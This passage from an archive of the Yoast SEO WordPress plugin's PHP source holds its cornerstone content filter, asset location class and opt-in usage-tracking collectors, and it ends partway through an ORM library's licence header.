	 * Checks if the post type is supported.
	 *
	 * @param string $post_type Post type to check against.
	 *
	 * @return bool True when it is supported.
	 */
	protected function is_supported_post_type( $post_type ) {
		return in_array( $post_type, $this->get_post_types(), true );
	}
}
wordpress-seo/admin/filters/class-cornerstone-filter.php000064400000007275147510273110017574 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Registers the filter for filtering posts by cornerstone content.
 */
class WPSEO_Cornerstone_Filter extends WPSEO_Abstract_Post_Filter {

	/**
	 * Name of the meta value.
	 *
	 * @var string
	 */
	public const META_NAME = 'is_cornerstone';

	/**
	 * Registers the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		parent::register_hooks();

		add_filter( 'wpseo_cornerstone_post_types', [ 'WPSEO_Post_Type', 'filter_attachment_post_type' ] );
		add_filter( 'wpseo_cornerstone_post_types', [ $this, 'filter_metabox_disabled' ] );
	}

	/**
	 * Returns the query value this filter uses.
	 *
	 * @return string The query value this filter uses.
	 */
	public function get_query_val() {
		return 'cornerstone';
	}

	/**
	 * Modify the query based on the seo_filter variable in $_GET.
	 *
	 * @param string $where Query variables.
	 *
	 * @return string The modified query.
	 */
	public function filter_posts( $where ) {
		if ( $this->is_filter_active() ) {
			global $wpdb;

			$where .= $wpdb->prepare(
				" AND {$wpdb->posts}.ID IN ( SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key = %s AND meta_value = '1' ) ",
				WPSEO_Meta::$meta_prefix . self::META_NAME
			);
		}

		return $where;
	}

	/**
	 * Filters the post types that have the metabox disabled.
	 *
	 * @param array $post_types The post types to filter.
	 *
	 * @return array The filtered post types.
	 */
	public function filter_metabox_disabled( $post_types ) {
		$filtered_post_types = [];
		foreach ( $post_types as $post_type_key => $post_type ) {
			if ( ! WPSEO_Post_Type::has_metabox_enabled( $post_type_key ) ) {
				continue;
			}

			$filtered_post_types[ $post_type_key ] = $post_type;
		}

		return $filtered_post_types;
	}

	/**
	 * Returns the label for this filter.
	 *
	 * @return string The label for this filter.
	 */
	protected function get_label() {
		return __( 'Cornerstone content', 'wordpress-seo' );
	}

	/**
	 * Returns a text explaining this filter.
	 *
	 * @return string|null The explanation.
	 */
	protected function get_explanation() {
		$post_type_object = get_post_type_object( $this->get_current_post_type() );

		if ( $post_type_object === null ) {
			return null;
		}

		return sprintf(
			/* translators: %1$s expands to the posttype label, %2$s expands anchor to blog post about cornerstone content, %3$s expands to </a> */
			__( 'Mark the most important %1$s as \'cornerstone content\' to improve your site structure. %2$sLearn more about cornerstone content%3$s.', 'wordpress-seo' ),
			strtolower( $post_type_object->labels->name ),
			'<a href="' . WPSEO_Shortlinker::get( 'https://yoa.st/1i9' ) . '" target="_blank">',
			'</a>'
		);
	}

	/**
	 * Returns the total amount of articles marked as cornerstone content.
	 *
	 * @return int
	 */
	protected function get_post_total() {
		global $wpdb;

		return (int) $wpdb->get_var(
			$wpdb->prepare(
				"SELECT COUNT( 1 )
					FROM {$wpdb->postmeta}
					WHERE post_id IN( SELECT ID FROM {$wpdb->posts} WHERE post_type = %s ) AND
					meta_key = %s AND meta_value = '1'
				",
				$this->get_current_post_type(),
				WPSEO_Meta::$meta_prefix . self::META_NAME
			)
		);
	}

	/**
	 * Returns the post types to which this filter should be added.
	 *
	 * @return array The post types to which this filter should be added.
	 */
	protected function get_post_types() {
		/**
		 * Filter: 'wpseo_cornerstone_post_types' - Filters post types to exclude the cornerstone feature for.
		 *
		 * @param array $post_types The accessible post types to filter.
		 */
		$post_types = apply_filters( 'wpseo_cornerstone_post_types', parent::get_post_types() );
		if ( ! is_array( $post_types ) ) {
			return [];
		}

		return $post_types;
	}
}
wordpress-seo/admin/class-admin-asset-analysis-worker-location.php000064400000003471147510273110021435 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Represents a way to determine the analysis worker asset location.
 */
final class WPSEO_Admin_Asset_Analysis_Worker_Location implements WPSEO_Admin_Asset_Location {

	/**
	 * Holds the asset's location.
	 *
	 * @var WPSEO_Admin_Asset_Location
	 */
	private $asset_location;

	/**
	 * Holds the asset itself.
	 *
	 * @var WPSEO_Admin_Asset
	 */
	private $asset;

	/**
	 * Constructs the location of the analysis worker asset.
	 *
	 * @param string $flat_version The flat version of the asset.
	 * @param string $name         The name of the analysis worker asset.
	 */
	public function __construct( $flat_version = '', $name = 'analysis-worker' ) {
		if ( $flat_version === '' ) {
			$asset_manager = new WPSEO_Admin_Asset_Manager();
			$flat_version  = $asset_manager->flatten_version( WPSEO_VERSION );
		}

		$analysis_worker = $name . '-' . $flat_version . '.js';

		$this->asset_location = WPSEO_Admin_Asset_Manager::create_default_location();
		$this->asset          = new WPSEO_Admin_Asset(
			[
				'name' => $name,
				'src'  => $analysis_worker,
			]
		);
	}

	/**
	 * Retrieves the analysis worker asset.
	 *
	 * @return WPSEO_Admin_Asset The analysis worker asset.
	 */
	public function get_asset() {
		return $this->asset;
	}

	/**
	 * Determines the URL of the asset on the dev server.
	 *
	 * @param WPSEO_Admin_Asset $asset The asset to determine the URL for.
	 * @param string            $type  The type of asset. Usually JS or CSS.
	 *
	 * @return string The URL of the asset.
	 */
	public function get_url( WPSEO_Admin_Asset $asset, $type ) {
		$scheme = wp_parse_url( $asset->get_src(), PHP_URL_SCHEME );
		if ( in_array( $scheme, [ 'http', 'https' ], true ) ) {
			return $asset->get_src();
		}

		return $this->asset_location->get_url( $asset, $type );
	}
}
wordpress-seo/admin/tracking/class-tracking-server-data.php000064400000003757147510273110020120 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Tracking
 */

/**
 * Represents the server data.
 */
class WPSEO_Tracking_Server_Data implements WPSEO_Collection {

	/**
	 * Returns the collection data.
	 *
	 * @return array The collection data.
	 */
	public function get() {
		return [
			'server' => $this->get_server_data(),
		];
	}

	/**
	 * Returns the values with server details.
	 *
	 * @return array Array with the value.
	 */
	protected function get_server_data() {
		$server_data = [];

		// Validate if the server address is a valid IP-address.
		$ipaddress = isset( $_SERVER['SERVER_ADDR'] ) ? filter_var( wp_unslash( $_SERVER['SERVER_ADDR'] ), FILTER_VALIDATE_IP ) : '';
		if ( $ipaddress ) {
			$server_data['ip']       = $ipaddress;
			$server_data['Hostname'] = gethostbyaddr( $ipaddress );
		}

		$server_data['os']            = function_exists( 'php_uname' ) ? php_uname() : PHP_OS;
		$server_data['PhpVersion']    = PHP_VERSION;
		$server_data['CurlVersion']   = $this->get_curl_info();
		$server_data['PhpExtensions'] = $this->get_php_extensions();

		return $server_data;
	}

	/**
	 * Returns details about the curl version.
	 *
	 * @return array|null The curl info. Or null when curl isn't available..
	 */
	protected function get_curl_info() {
		if ( ! function_exists( 'curl_version' ) ) {
			return null;
		}

		$curl = curl_version();

		$ssl_support = true;
		if ( ! $curl['features'] && CURL_VERSION_SSL ) {
			$ssl_support = false;
		}

		return [
			'version'    => $curl['version'],
			'sslSupport' => $ssl_support,
		];
	}

	/**
	 * Returns a list with php extensions.
	 *
	 * @return array Returns the state of the php extensions.
	 */
	protected function get_php_extensions() {
		return [
			'imagick'   => extension_loaded( 'imagick' ),
			'filter'    => extension_loaded( 'filter' ),
			'bcmath'    => extension_loaded( 'bcmath' ),
			'pcre'      => extension_loaded( 'pcre' ),
			'xml'       => extension_loaded( 'xml' ),
			'pdo_mysql' => extension_loaded( 'pdo_mysql' ),
		];
	}
}
wordpress-seo/admin/tracking/class-tracking-settings-data.php000064400000015226147510273110020444 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Tracking
 */

/**
 * Collects anonymized settings data.
 */
class WPSEO_Tracking_Settings_Data implements WPSEO_Collection {

	/**
	 * The options that need to be anonymized before they can be sent elsewhere.
	 *
	 * @var array All of the option_names which need to be
	 * anonymized before they can be sent elsewhere.
	 */
	private $anonymous_settings = [
		'baiduverify',
		'googleverify',
		'msverify',
		'yandexverify',
		'myyoast-oauth',
		'website_name',
		'alternate_website_name',
		'company_logo',
		'company_name',
		'company_alternate_name',
		'person_name',
		'person_logo',
		'person_logo_id',
		'company_logo_id',
		'facebook_site',
		'instagram_url',
		'linkedin_url',
		'myspace_url',
		'og_default_image',
		'og_default_image_id',
		'og_frontpage_title',
		'og_frontpage_desc',
		'og_frontpage_image',
		'og_frontpage_image_id',
		'open_graph_frontpage_title',
		'open_graph_frontpage_desc',
		'open_graph_frontpage_image',
		'open_graph_frontpage_image_id',
		'other_social_urls',
		'mastodon_url',
		'pinterest_url',
		'pinterestverify',
		'twitter_site',
		'youtube_url',
		'wikipedia_url',
		'semrush_tokens',
		'wincher_tokens',
		'wincher_website_id',
		'least_readability_ignore_list',
		'least_seo_score_ignore_list',
		'most_linked_ignore_list',
		'least_linked_ignore_list',
		'indexables_page_reading_list',
		'publishing_principles_id',
		'ownership_funding_info_id',
		'actionable_feedback_policy_id',
		'corrections_policy_id',
		'ethics_policy_id',
		'diversity_policy_id',
		'diversity_staffing_report_id',
	];

	/**
	 * The options we want to track.
	 *
	 * @var array The option_names for the options we want to track.
	 */
	private $include_list = [
		'ms_defaults_set',
		'version',
		'disableadvanced_meta',
		'ryte_indexability',
		'baiduverify',
		'googleverify',
		'msverify',
		'yandexverify',
		'site_type',
		'has_multiple_authors',
		'environment_type',
		'content_analysis_active',
		'keyword_analysis_active',
		'inclusive_language_analysis_active',
		'enable_admin_bar_menu',
		'enable_cornerstone_content',
		'enable_xml_sitemap',
		'enable_text_link_counter',
		'show_onboarding_notice',
		'first_activated_on',
		'myyoast-oauth',
		'dynamic_permalinks',
		'website_name',
		'alternate_website_name',
		'company_logo',
		'company_name',
		'company_or_person',
		'person_name',
		'forcerewritetitle',
		'separator',
		'title-home-wpseo',
		'title-author-wpseo',
		'title-archive-wpseo',
		'title-search-wpseo',
		'title-404-wpseo',
		'metadesc-home-wpseo',
		'metadesc-author-wpseo',
		'metadesc-archive-wpseo',
		'rssbefore',
		'rssafter',
		'noindex-author-wpseo',
		'noindex-author-noposts-wpseo',
		'noindex-archive-wpseo',
		'disable-author',
		'disable-date',
		'disable-post_format',
		'disable-attachment',
		'breadcrumbs-404crumb',
		'breadcrumbs-display-blog-page',
		'breadcrumbs-boldlast',
		'breadcrumbs-archiveprefix',
		'breadcrumbs-enable',
		'breadcrumbs-home',
		'breadcrumbs-prefix',
		'breadcrumbs-searchprefix',
		'breadcrumbs-sep',
		'person_logo',
		'person_logo_id',
		'company_logo_id',
		'company_or_person_user_id',
		'stripcategorybase',
		'noindex-post',
		'display-metabox-pt-post',
		'noindex-page',
		'display-metabox-pt-page',
		'noindex-attachment',
		'display-metabox-pt-attachment',
		'display-metabox-tax-category',
		'noindex-tax-category',
		'display-metabox-tax-post_tag',
		'noindex-tax-post_tag',
		'display-metabox-tax-post_format',
		'noindex-tax-post_format',
		'taxonomy-category-ptparent',
		'taxonomy-post_tag-ptparent',
		'taxonomy-post_format-ptparent',
		'breadcrumbs-blog-remove',
		'hideeditbox-post',
		'hideeditbox-page',
		'hideeditbox-attachment',
		'hideeditbox-tax-category',
		'hideeditbox-tax-post_tag',
		'hideeditbox-tax-post_format',
		'facebook_site',
		'instagram_url',
		'linkedin_url',
		'myspace_url',
		'og_default_image',
		'og_default_image_id',
		'og_frontpage_title',
		'og_frontpage_desc',
		'og_frontpage_image',
		'og_frontpage_image_id',
		'open_graph_frontpage_title',
		'open_graph_frontpage_desc',
		'open_graph_frontpage_image',
		'open_graph_frontpage_image_id',
		'opengraph',
		'pinterest_url',
		'pinterestverify',
		'twitter',
		'twitter_site',
		'twitter_card_type',
		'youtube_url',
		'wikipedia_url',
		'mastodon_url',
		'indexables_indexing_completed',
		'semrush_integration_active',
		'semrush_tokens',
		'semrush_country_code',
		'enable_enhanced_slack_sharing',
		'enable_metabox_insights',
		'enable_link_suggestions',
		'enable_index_now',
		'enable_ai_generator',
		'workouts',
		'wincher_integration_active',
		'wincher_tokens',
		'wincher_website_id',
		'wincher_automatically_add_keyphrases',
		'first_time_install',
		'other_social_urls',
		'remove_feed_global',
		'remove_feed_global_comments',
		'remove_feed_post_comments',
		'remove_feed_authors',
		'remove_feed_categories',
		'remove_feed_tags',
		'remove_feed_custom_taxonomies',
		'remove_feed_post_types',
		'remove_feed_search',
		'remove_atom_rdf_feeds',
		'remove_shortlinks',
		'remove_rest_api_links',
		'remove_rsd_wlw_links',
		'remove_oembed_links',
		'remove_generator',
		'remove_emoji_scripts',
		'remove_powered_by_header',
		'remove_pingback_header',
		'clean_campaign_tracking_urls',
		'clean_permalinks',
		'clean_permalinks_extra_variables',
		'search_cleanup',
		'search_cleanup_emoji',
		'search_cleanup_patterns',
		'search_character_limit',
		'redirect_search_pretty_urls',
		'indexables_overview_state',
		'deny_search_crawling',
		'deny_wp_json_crawling',
		'deny_adsbot_crawling',
		'deny_ccbot_crawling',
		'deny_google_extended_crawling',
		'deny_gptbot_crawling',
		'last_known_no_unindexed',
	];

	/**
	 * Returns the collection data.
	 *
	 * @return array The collection data.
	 */
	public function get() {
		/**
		 * Filter: 'wpseo_tracking_settings_include_list' - Allow filtering the settings included in tracking.
		 *
		 * @param string $include_list The list with included setting names.
		 */
		$this->include_list = apply_filters( 'wpseo_tracking_settings_include_list', $this->include_list );

		$options = WPSEO_Options::get_all();
		// Returns the settings of which the keys intersect with the values of the include list.
		$options = array_intersect_key( $options, array_flip( $this->include_list ) );

		return [
			'settings' => $this->anonymize_settings( $options ),
		];
	}

	/**
	 * Anonimizes the WPSEO_Options array by replacing all $anonymous_settings values to 'used'.
	 *
	 * @param array $settings The settings.
	 *
	 * @return array The anonymized settings.
	 */
	private function anonymize_settings( $settings ) {
		foreach ( $this->anonymous_settings as $setting ) {
			if ( ! empty( $settings[ $setting ] ) ) {
				$settings[ $setting ] = 'used';
			}
		}

		return $settings;
	}
}
wordpress-seo/admin/tracking/class-tracking-addon-data.php000064400000010170147510273110017662 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Tracking
 */

use Yoast\WP\SEO\Conditionals\WooCommerce_Conditional;

/**
 * Represents the addon option data.
 */
class WPSEO_Tracking_Addon_Data implements WPSEO_Collection {

	/**
	 * The local options we want to track.
	 *
	 * @var string[] The option_names for the options we want to track.
	 */
	private $local_include_list = [
		'use_multiple_locations',
		'multiple_locations_same_organization',
		'business_type',
		'woocommerce_local_pickup_setting',
	];

	/**
	 * The woo options we want to track.
	 *
	 * @var string[] The option_names for the options we want to track.
	 */
	private $woo_include_list = [];

	/**
	 * The news options we want to track.
	 *
	 * @var string[] The option_names for the options we want to track.
	 */
	private $news_include_list = [];

	/**
	 * The video options we want to track.
	 *
	 * @var string[] The option_names for the options we want to track.
	 */
	private $video_include_list = [];

	/**
	 * Returns the collection data.
	 *
	 * @return array The collection data.
	 */
	public function get() {

		$addon_settings = [];
		$addon_manager  = new WPSEO_Addon_Manager();

		if ( $addon_manager->is_installed( WPSEO_Addon_Manager::LOCAL_SLUG ) ) {
			$addon_settings = $this->get_local_addon_settings( $addon_settings, 'wpseo_local', WPSEO_Addon_Manager::LOCAL_SLUG, $this->local_include_list );
		}

		if ( $addon_manager->is_installed( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) ) {
			$addon_settings = $this->get_addon_settings( $addon_settings, 'wpseo_woo', WPSEO_Addon_Manager::WOOCOMMERCE_SLUG, $this->woo_include_list );
		}

		if ( $addon_manager->is_installed( WPSEO_Addon_Manager::NEWS_SLUG ) ) {
			$addon_settings = $this->get_addon_settings( $addon_settings, 'wpseo_news', WPSEO_Addon_Manager::NEWS_SLUG, $this->news_include_list );
		}

		if ( $addon_manager->is_installed( WPSEO_Addon_Manager::VIDEO_SLUG ) ) {
			$addon_settings = $this->get_addon_settings( $addon_settings, 'wpseo_video', WPSEO_Addon_Manager::VIDEO_SLUG, $this->video_include_list );
		}

		return $addon_settings;
	}

	/**
	 * Gets the tracked options from the addon
	 *
	 * @param array  $addon_settings      The current list of addon settings.
	 * @param string $source_name         The option key of the addon.
	 * @param string $slug                The addon slug.
	 * @param array  $option_include_list All the options to be included in tracking.
	 *
	 * @return array
	 */
	public function get_addon_settings( array $addon_settings, $source_name, $slug, $option_include_list ) {
		$source_options = get_option( $source_name, [] );
		if ( ! is_array( $source_options ) || empty( $source_options ) ) {
			return $addon_settings;
		}
		$addon_settings[ $slug ] = array_intersect_key( $source_options, array_flip( $option_include_list ) );

		return $addon_settings;
	}

	/**
	 * Filter business_type in local addon settings.
	 *
	 * Remove the business_type setting when 'multiple_locations_shared_business_info' setting is turned off.
	 *
	 * @param array  $addon_settings      The current list of addon settings.
	 * @param string $source_name         The option key of the addon.
	 * @param string $slug                The addon slug.
	 * @param array  $option_include_list All the options to be included in tracking.
	 *
	 * @return array
	 */
	public function get_local_addon_settings( array $addon_settings, $source_name, $slug, $option_include_list ) {
		$source_options = get_option( $source_name, [] );
		if ( ! is_array( $source_options ) || empty( $source_options ) ) {
			return $addon_settings;
		}
		$addon_settings[ $slug ] = array_intersect_key( $source_options, array_flip( $option_include_list ) );

		if ( array_key_exists( 'use_multiple_locations', $source_options ) && array_key_exists( 'business_type', $addon_settings[ $slug ] ) && $source_options['use_multiple_locations'] === 'on' && $source_options['multiple_locations_shared_business_info'] === 'off' ) {
			$addon_settings[ $slug ]['business_type'] = 'multiple_locations';
		}

		if ( ! ( new WooCommerce_Conditional() )->is_met() ) {
			unset( $addon_settings[ $slug ]['woocommerce_local_pickup_setting'] );
		}

		return $addon_settings;
	}
}
wordpress-seo/admin/tracking/class-tracking-theme-data.php000064400000002245147510273110017703 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Tracking
 */

/**
 * Represents the theme data.
 */
class WPSEO_Tracking_Theme_Data implements WPSEO_Collection {

	/**
	 * Returns the collection data.
	 *
	 * @return array The collection data.
	 */
	public function get() {
		$theme = wp_get_theme();

		return [
			'theme' => [
				'name'                 => $theme->get( 'Name' ),
				'url'                  => $theme->get( 'ThemeURI' ),
				'version'              => $theme->get( 'Version' ),
				'author'               => [
					'name' => $theme->get( 'Author' ),
					'url'  => $theme->get( 'AuthorURI' ),
				],
				'parentTheme'          => $this->get_parent_theme( $theme ),
				'blockTemplateSupport' => current_theme_supports( 'block-templates' ),
				'isBlockTheme'         => function_exists( 'wp_is_block_theme' ) && wp_is_block_theme(),
			],
		];
	}

	/**
	 * Returns the name of the parent theme.
	 *
	 * @param WP_Theme $theme The theme object.
	 *
	 * @return string|null The name of the parent theme or null.
	 */
	private function get_parent_theme( WP_Theme $theme ) {
		if ( is_child_theme() ) {
			return $theme->get( 'Template' );
		}

		return null;
	}
}
wordpress-seo/admin/tracking/class-tracking-default-data.php000064400000002644147510273110020230 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Tracking
 */

/**
 * Represents the default data.
 */
class WPSEO_Tracking_Default_Data implements WPSEO_Collection {

	/**
	 * Returns the collection data.
	 *
	 * @return array The collection data.
	 */
	public function get() {
		return [
			'siteTitle'       => get_option( 'blogname' ),
			'@timestamp'      => (int) gmdate( 'Uv' ),
			'wpVersion'       => $this->get_wordpress_version(),
			'homeURL'         => home_url(),
			'adminURL'        => admin_url(),
			'isMultisite'     => is_multisite(),
			'siteLanguage'    => get_bloginfo( 'language' ),
			'gmt_offset'      => get_option( 'gmt_offset' ),
			'timezoneString'  => get_option( 'timezone_string' ),
			'migrationStatus' => get_option( 'yoast_migrations_free' ),
			'countPosts'      => $this->get_post_count( 'post' ),
			'countPages'      => $this->get_post_count( 'page' ),
		];
	}

	/**
	 * Returns the number of posts of a certain type.
	 *
	 * @param string $post_type The post type return the count for.
	 *
	 * @return int The count for this post type.
	 */
	protected function get_post_count( $post_type ) {
		$count = wp_count_posts( $post_type );
		if ( isset( $count->publish ) ) {
			return $count->publish;
		}
		return 0;
	}

	/**
	 * Returns the WordPress version.
	 *
	 * @return string The version.
	 */
	protected function get_wordpress_version() {
		global $wp_version;

		return $wp_version;
	}
}
wordpress-seo/admin/tracking/class-tracking.php000064400000015555147510273110015704 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Tracking
 */

use Yoast\WP\SEO\Analytics\Application\Missing_Indexables_Collector;
use Yoast\WP\SEO\Analytics\Application\To_Be_Cleaned_Indexables_Collector;

/**
 * This class handles the tracking routine.
 */
class WPSEO_Tracking implements WPSEO_WordPress_Integration {

	/**
	 * The tracking option name.
	 *
	 * @var string
	 */
	protected $option_name = 'wpseo_tracking_last_request';

	/**
	 * The limit for the option.
	 *
	 * @var int
	 */
	protected $threshold = 0;

	/**
	 * The endpoint to send the data to.
	 *
	 * @var string
	 */
	protected $endpoint = '';

	/**
	 * The current time.
	 *
	 * @var int
	 */
	private $current_time;

	/**
	 * WPSEO_Tracking constructor.
	 *
	 * @param string $endpoint  The endpoint to send the data to.
	 * @param int    $threshold The limit for the option.
	 */
	public function __construct( $endpoint, $threshold ) {
		if ( ! $this->tracking_enabled() ) {
			return;
		}

		$this->endpoint     = $endpoint;
		$this->threshold    = $threshold;
		$this->current_time = time();
	}

	/**
	 * Registers all hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( ! $this->tracking_enabled() ) {
			return;
		}

		// Send tracking data on `admin_init`.
		add_action( 'admin_init', [ $this, 'send' ], 1 );

		// Add an action hook that will be triggered at the specified time by `wp_schedule_single_event()`.
		add_action( 'wpseo_send_tracking_data_after_core_update', [ $this, 'send' ] );
		// Call `wp_schedule_single_event()` after a WordPress core update.
		add_action( 'upgrader_process_complete', [ $this, 'schedule_tracking_data_sending' ], 10, 2 );
	}

	/**
	 * Schedules a new sending of the tracking data after a WordPress core update.
	 *
	 * @param bool|WP_Upgrader $upgrader Optional. WP_Upgrader instance or false.
	 *                                   Depending on context, it might be a Theme_Upgrader,
	 *                                   Plugin_Upgrader, Core_Upgrade, or Language_Pack_Upgrader.
	 *                                   instance. Default false.
	 * @param array            $data     Array of update data.
	 *
	 * @return void
	 */
	public function schedule_tracking_data_sending( $upgrader = false, $data = [] ) {
		// Return if it's not a WordPress core update.
		if ( ! $upgrader || ! isset( $data['type'] ) || $data['type'] !== 'core' ) {
			return;
		}

		/*
		 * To uniquely identify the scheduled cron event, `wp_next_scheduled()`
		 * needs to receive the same arguments as those used when originally
		 * scheduling the event otherwise it will always return false.
		 */
		if ( ! wp_next_scheduled( 'wpseo_send_tracking_data_after_core_update', [ true ] ) ) {
			/*
			 * Schedule sending of data tracking 6 hours after a WordPress core
			 * update. Pass a `true` parameter for the callback `$force` argument.
			 */
			wp_schedule_single_event( ( time() + ( HOUR_IN_SECONDS * 6 ) ), 'wpseo_send_tracking_data_after_core_update', [ true ] );
		}
	}

	/**
	 * Sends the tracking data.
	 *
	 * @param bool $force Whether to send the tracking data ignoring the two
	 *                    weeks time threshold. Default false.
	 *
	 * @return void
	 */
	public function send( $force = false ) {
		if ( ! $this->should_send_tracking( $force ) ) {
			return;
		}

		// Set a 'content-type' header of 'application/json'.
		$tracking_request_args = [
			'headers' => [
				'content-type:' => 'application/json',
			],
		];

		$collector = $this->get_collector();

		$request = new WPSEO_Remote_Request( $this->endpoint, $tracking_request_args );
		$request->set_body( $collector->get_as_json() );
		$request->send();

		update_option( $this->option_name, $this->current_time, 'yes' );
	}

	/**
	 * Determines whether to send the tracking data.
	 *
	 * Returns false if tracking is disabled or the current page is one of the
	 * admin plugins pages. Returns true when there's no tracking data stored or
	 * the data was sent more than two weeks ago. The two weeks interval is set
	 * when instantiating the class.
	 *
	 * @param bool $ignore_time_treshhold Whether to send the tracking data ignoring
	 *                                    the two weeks time treshhold. Default false.
	 *
	 * @return bool True when tracking data should be sent.
	 */
	protected function should_send_tracking( $ignore_time_treshhold = false ) {
		global $pagenow;

		// Only send tracking on the main site of a multi-site instance. This returns true on non-multisite installs.
		if ( is_network_admin() || ! is_main_site() ) {
			return false;
		}

		// Because we don't want to possibly block plugin actions with our routines.
		if ( in_array( $pagenow, [ 'plugins.php', 'plugin-install.php', 'plugin-editor.php' ], true ) ) {
			return false;
		}

		$last_time = get_option( $this->option_name );

		// When tracking data haven't been sent yet or when sending data is forced.
		if ( ! $last_time || $ignore_time_treshhold ) {
			return true;
		}

		return $this->exceeds_treshhold( $this->current_time - $last_time );
	}

	/**
	 * Checks if the given amount of seconds exceeds the set threshold.
	 *
	 * @param int $seconds The amount of seconds to check.
	 *
	 * @return bool True when seconds is bigger than threshold.
	 */
	protected function exceeds_treshhold( $seconds ) {
		return ( $seconds > $this->threshold );
	}

	/**
	 * Returns the collector for collecting the data.
	 *
	 * @return WPSEO_Collector The instance of the collector.
	 */
	public function get_collector() {
		$collector = new WPSEO_Collector();
		$collector->add_collection( new WPSEO_Tracking_Default_Data() );
		$collector->add_collection( new WPSEO_Tracking_Server_Data() );
		$collector->add_collection( new WPSEO_Tracking_Theme_Data() );
		$collector->add_collection( new WPSEO_Tracking_Plugin_Data() );
		$collector->add_collection( new WPSEO_Tracking_Settings_Data() );
		$collector->add_collection( new WPSEO_Tracking_Addon_Data() );
		$collector->add_collection( YoastSEO()->classes->get( Missing_Indexables_Collector::class ) );
		$collector->add_collection( YoastSEO()->classes->get( To_Be_Cleaned_Indexables_Collector::class ) );

		return $collector;
	}

	/**
	 * See if we should run tracking at all.
	 *
	 * @return bool True when we can track, false when we can't.
	 */
	private function tracking_enabled() {
		// Check if we're allowing tracking.
		$tracking = WPSEO_Options::get( 'tracking' );

		if ( $tracking === false ) {
			return false;
		}

		// Save this state.
		if ( $tracking === null ) {
			/**
			 * Filter: 'wpseo_enable_tracking' - Enables the data tracking of Yoast SEO Premium and add-ons.
			 *
			 * @param string|false $is_enabled The enabled state. Default is false.
			 */
			$tracking = apply_filters( 'wpseo_enable_tracking', false );

			WPSEO_Options::set( 'tracking', $tracking );
		}

		if ( $tracking === false ) {
			return false;
		}

		if ( ! YoastSEO()->helpers->environment->is_production_mode() ) {
			return false;
		}

		return true;
	}
}
wordpress-seo/admin/tracking/class-tracking-plugin-data.php000064400000004042147510273110020074 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Tracking
 */

/**
 * Represents the plugin data.
 */
class WPSEO_Tracking_Plugin_Data implements WPSEO_Collection {

	/**
	 * Plugins with auto updating enabled.
	 *
	 * @var array
	 */
	private $auto_update_plugin_list;

	/**
	 * Returns the collection data.
	 *
	 * @return array The collection data.
	 */
	public function get() {
		return [
			'plugins' => $this->get_plugin_data(),
		];
	}

	/**
	 * Returns all plugins.
	 *
	 * @return array The formatted plugins.
	 */
	protected function get_plugin_data() {

		if ( ! function_exists( 'get_plugin_data' ) ) {
			require_once ABSPATH . 'wp-admin/includes/plugin.php';
		}
		$plugins = wp_get_active_and_valid_plugins();

		$plugins = array_map( 'get_plugin_data', $plugins );
		$this->set_auto_update_plugin_list();
		$plugins = array_map( [ $this, 'format_plugin' ], $plugins );

		$plugin_data = [];
		foreach ( $plugins as $plugin ) {
			$plugin_key                 = sanitize_title( $plugin['name'] );
			$plugin_data[ $plugin_key ] = $plugin;
		}

		return $plugin_data;
	}

	/**
	 * Sets all auto updating plugin data so it can be used in the tracking list.
	 *
	 * @return void
	 */
	public function set_auto_update_plugin_list() {

		$auto_update_plugins      = [];
		$auto_update_plugin_files = get_option( 'auto_update_plugins' );
		if ( $auto_update_plugin_files ) {
			foreach ( $auto_update_plugin_files as $auto_update_plugin ) {
				$data                                 = get_plugin_data( WP_PLUGIN_DIR . DIRECTORY_SEPARATOR . $auto_update_plugin );
				$auto_update_plugins[ $data['Name'] ] = $data;
			}
		}

		$this->auto_update_plugin_list = $auto_update_plugins;
	}

	/**
	 * Formats the plugin array.
	 *
	 * @param array $plugin The plugin details.
	 *
	 * @return array The formatted array.
	 */
	protected function format_plugin( array $plugin ) {

		return [
			'name'          => $plugin['Name'],
			'version'       => $plugin['Version'],
			'auto_updating' => array_key_exists( $plugin['Name'], $this->auto_update_plugin_list ),
		];
	}
}
wordpress-seo/lib/orm.php000064400000206433147510273110011445 0ustar00<?php

namespace Yoast\WP\Lib;

use ArrayAccess;
use Exception;
use InvalidArgumentException;
use ReturnTypeWillChange;
use wpdb;
use Yoast\WP\SEO\Config\Migration_Status;

/**
 * Yoast ORM class.
 *
 * Based on Idiorm
 *
 * URL: http://github.com/j4mie/idiorm/
 *
 * A single-class super-simple database abstraction layer for PHP.
 * Provides (nearly) zero-configuration object-relational mapping
 * and a fluent interface for building basic, commonly-used queries.
 *
 * BSD Licensed.
 *
 * Copyright (c) 2010, Jamie Matthews
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 * * Redistributions of source code must retain the above copyright notice, this
 *   list of conditions and the following disclaimer.
 *
 * * Redistributions in binary form must reproduce the above copyright notice,
 *   this list of conditions and the following disclaimer in the documentation
 *   and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
 * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
